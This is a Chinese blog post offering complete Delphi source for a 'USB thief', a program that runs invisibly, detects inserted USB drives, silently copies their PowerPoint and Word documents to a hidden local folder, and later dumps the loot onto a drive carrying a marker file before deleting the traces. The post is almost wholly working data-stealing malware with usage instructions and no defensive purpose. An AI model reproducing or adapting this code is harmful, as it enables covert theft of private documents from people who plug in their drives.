吵吵   2011-03-02  阅读:3,187

吵吵发布

用delphi写的U盘小偷,使用规则:启动后没有任何显示,完全后台运行。当U盘插入时,检测有没有chaochao.cbb文件,如果没有,则搜索U盘中的ppt和word文档,并按原来的文件树保存在U盘小偷程序的目录文件夹下;检测文件chaochao.cbb存在,则把U盘小偷偷到的东西全部都拷贝到U盘中,并删除原来复制的文件。代码如下:

吵吵发布



unit Unit1;
吵吵发布

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls,shellAPI, ExtCtrls,StrUtils,FileCtrl, jpeg;

type
TForm1 = class(TForm)
Timer1: TTimer;
Image1: TImage;
Timer2: TTimer;
Timer3: TTimer;

procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure Timer3Timer(Sender: TObject);
procedure Image1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }

end;

var
Form1: TForm1;
StrList: TStringList;
mulustr: TStringList;

Upanfu:string;
hascheked:string;
FileStruct:TSHFileOpStruct;

implementation

{$R *.dfm}

function GetDirFile(TypeName: String; DirName: String):TStringList;

var
sr: TSearchRec;
FileAttrs: Integer;

begin

FileAttrs := faAnyFile;
if FindFirst(DirName+'*.*', FileAttrs, sr) = 0 then
begin
repeat
if (sr.Name <> '.') and (sr.Name <> '..') then

begin
if (sr.Attr and faDirectory)<>0 then

begin
GetDirFile(TypeName,DirName+sr.Name +'\');

end
else
begin
if (sr.Attr and FileAttrs) = sr.Attr then
begin
if (pos('.ppt',sr.Name )<>0) or (pos('.doc',sr.Name )<>0)then
begin
//防止读取的文件太多复制时间太长
if strlist.Count <50 then
begin
mulustr.Add(dirname);
StrList.Add(dirname+sr.name);
end;
end;
end;
end;
end;
until FindNext(sr) <> 0;
FindClose(sr);
end;
Result := StrList;
end;

procedure TForm1.FormCreate(Sender: TObject);

begin
form1.Top := screen.Height-form1.Height-40 ;
form1.Left:=screen.Width-form1.Width ;

SetWindowLong(Application.Handle,GWL_EXSTYLE, WS_EX_TOOLWINDOW);
timer2.Enabled :=true;
StrList := TStringList.Create;
mulustr:=tstringlist.Create ;
upanfu:='' ;
hascheked:='';

timer3.Enabled :=true;

end;

procedure TForm1.Image1Click(Sender: TObject);
begin

end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
panfu:integer;
i:integer;
aimdir:string;
fuzhiaimdir:string;
aimfilename:string;
aimfilepath:string;

begin

for panfu := 67 to 78 do
begin
if (GetDriveType(Pchar(chr(panfu)+':\')) = 2) then
begin

Upanfu:=chr(panfu) +':\';

if (Upanfu<>'') and (hascheked<>upanfu) then
begin
hascheked:=upanfu;
timer1.Enabled :=false;
if (fileExists(Upanfu+'chaochao.cbb') = true) and (DirectoryExists( ExtractFileDir(Application.ExeName)+'\chao')=true) then
begin
//建立拷贝到u盘的目录
fuzhiaimdir:= upanfu + string(formatdatetime('yyyymmddhhmmss',now)) ;
ForceDirectories(fuzhiaimdir);
application.ProcessMessages ;
FileStruct.Wnd :=0;
FileStruct.wFunc :=FO_COPY;
FileStruct.pFrom:=Pchar(ExtractFileDir(Application.ExeName)+'\chao');
FileStruct.fFlags:=FOF_NOCONFIRMATION+FOF_SILENT; //不需要提示.
FileStruct.pTo :=pchar(fuzhiaimdir+'\chao');

try
application.ProcessMessages ;
if SHFileOperation(filestruct)=0 then
begin

filestruct.wFunc:=FO_DELETE;

if SHFileOperation(filestruct)=0 then
begin

close;
end;
end;
except

exit;
form1.timer1.Enabled :=true;
end;
end
else
begin

//拷贝到电脑

application.ProcessMessages ;
getdirfile('*.ppt',Upanfu);
if strlist.Count>0 then
begin
//建立目标文件夹
aimdir:= ExtractFileDir(Application.ExeName)+'\chao\'+ string(formatdatetime('yyyymmddhhmmss',now)) ;
ForceDirectories(aimdir);
//得到新路径

for i:= 0 to strlist.Count-1 do
begin
application.ProcessMessages ;
aimfilepath:=aimdir + '\' +copy(mulustr.Strings[i],4,length(mulustr.Strings[i])-3);
if DirectoryExists(aimfilepath)=false then
begin
ForceDirectories(aimfilepath);
end;
aimfilename:=aimdir + '\' +copy(strlist.Strings[i],4,length(strlist.Strings[i])-3);
try
copyfile(pchar(strlist.Strings[i]),pchar(aimfilename),false);
hascheked:=upanfu;
except

form1.timer1.Enabled :=true;
exit;
end;
end;
end;
strlist.Clear ;
mulustr.Clear ;
form1.timer1.Enabled :=true;
end;
exit;
end; //写入函数结束

exit;
end;

end;

hascheked:='';
upanfu:='';
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin
image1.Destroy;
form1.Visible :=false;
application.ShowMainForm:=false;

timer2.Enabled :=false;
timer2.Destroy;
end;

procedure TForm1.Timer3Timer(Sender: TObject);
var
ClearFile:TSHFileOpStruct;
shauchucheng:boolean;
begin
if DirectoryExists( ExtractFileDir(Application.ExeName)+'\chao')=true then
begin
application.ProcessMessages ;
FileStruct.Wnd :=0;
FileStruct.wFunc :=FO_DELETE;
FileStruct.pFrom:=Pchar(ExtractFileDir(Application.ExeName)+'\chao');
FileStruct.fFlags:=FOF_NOCONFIRMATION+FOF_SILENT; //不需要提示.
if SHFileOperation(filestruct)=0 then shauchucheng:=true;

end;
timer3.Enabled :=false;
timer1.Enabled :=true;
end;

end.

吵吵微信朋友圈,请付款实名加入:

吵吵 吵吵

发表评论

电子邮件地址不会被公开。 必填项已用*标注